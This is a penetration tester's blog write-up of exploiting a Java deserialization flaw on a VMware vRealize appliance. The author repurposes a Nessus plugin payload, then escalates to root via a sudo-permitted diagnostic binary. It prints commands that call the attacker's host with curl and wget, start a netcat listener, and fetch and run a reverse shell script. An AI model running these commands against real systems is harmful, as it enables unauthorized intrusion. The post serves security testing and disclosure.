Once in a blue moon we come across a client that has truly done security right (or at least, tried really hard to do so). All the low hanging fruit has been trimmed: Responder doesn’t work, no passwords in GPP, all systems patched up to date, no Spring2016 passwords, etc. As frustrating as this is for pentesters, it forces us to level up our game.
This past week was one of those times where we had to fight for every inch (OSCP exam anyone? =). We couldn’t get any shells and were only turning up crappy SSL vulnerabilities. We fired off a Nessus scan in hopes of getting some additional information and a Java deserialization vulnerability (info here) turned up on a linux based hosted, listening on tcp/40002.
Excited, we fired up metasploit and let ‘er fly:
Hooray. 🙁
Disappointed, I began to search for a manual exploit, but something in the Nessus report stood out to me:
That’s some pretty specific text. Made me wonder what exactly Nessus was doing to make such a definitive statement. If Nessus was able actually launch the exploit and get back some sort of feedback, then maybe I could modify the .nasl to suite my own purposes.
I took a look at /opt/nessus/lib/nessus/plugins/opennms_java_serialize.nasl and found something interesting:
Well lookey what we have here….
Outstanding! Nessus was actually exploiting the vulnerability to fire a ping command back at the Nessus box with the plugin ID in the ping buffer. All I had to was modify the payload to run other commands and launch. Fortunately, you can fire single .nasl scripts using /opt/nessus/bin/nasl command along with the -t <TARGETIP> switch.
I performed the following steps:
- Copied the .nasl file
- Adjusted the nasl command to be: curl http://myattackbox
- Stood up a listener: nc -nlvp 80
- Fired the script against my target: /opt/nessus/bin/nasl /opt/nessus/lib/nessus/deserialize-custom.nasl -t TARGETIP
- Crossed my fingers. =)
It took a moment, but finally:
Nice.
Now that I had confirmed RCE, I decided to step it up a few. I grabbed a python reverse shell one liner from pentest monkey (here) and put it into /var/www/cmd.sh. I then created three copies of the .nasl script for three different commands (yes, I know there are better & more efficient ways of doing this, but I was feeling lazy) and started apache. Each script performed one of the following three commands (in order):
- $ wget http://myip/cmd.sh -O /tmp/cmd.sh
- $ chmod +x /tmp/cmd.sh
- $ /tmp/cmd.sh
I then crossed my fingers & fired….
Yuuuuuus!
After some research, we learned we were on a VMware vRealize appliance as the low privilege user horizon. We ran multiple privesc discovery utilities and found nothing. All files were sufficiently locked down to root. Kernel was reasonably up to date & no exploits were found. I couldn’t sudo to another id, much less root. Bash history == empty. I was beginning to despair as we had dozens more systems to test and I had already burned several hours on this, but we still didn’t have a solid foothold into the environment.
I was preparing to move on when a coworker suggested that we check to see if the horizon user can sudo run any applications….
Uhhhh……
It wasn’t possible.
Surely we couldn’t sudo run this “diagnosticCommandExecutor.hzn” with another command….. or could we….
OMG VMWARE NOOOOOOOOOOO
No doubt a well meaning engineer put this there for troubleshooting purposes, and we were only to happy to use this “feature” to pwn… er…”troubleshoot” the system.
A few tweaks to our script and:
Bob’s your uncle.
Though I doubt VMware will remove the ability of the horizon user to sudo run any command via diagnosticCommandExecutor.hzn, they did issue a patch for the Java deserialization vuln (here)
Huge thanks to my buddy Steve (@jarsnah12) for lending his ability to linux hard!
Until next time!
@curi0usJack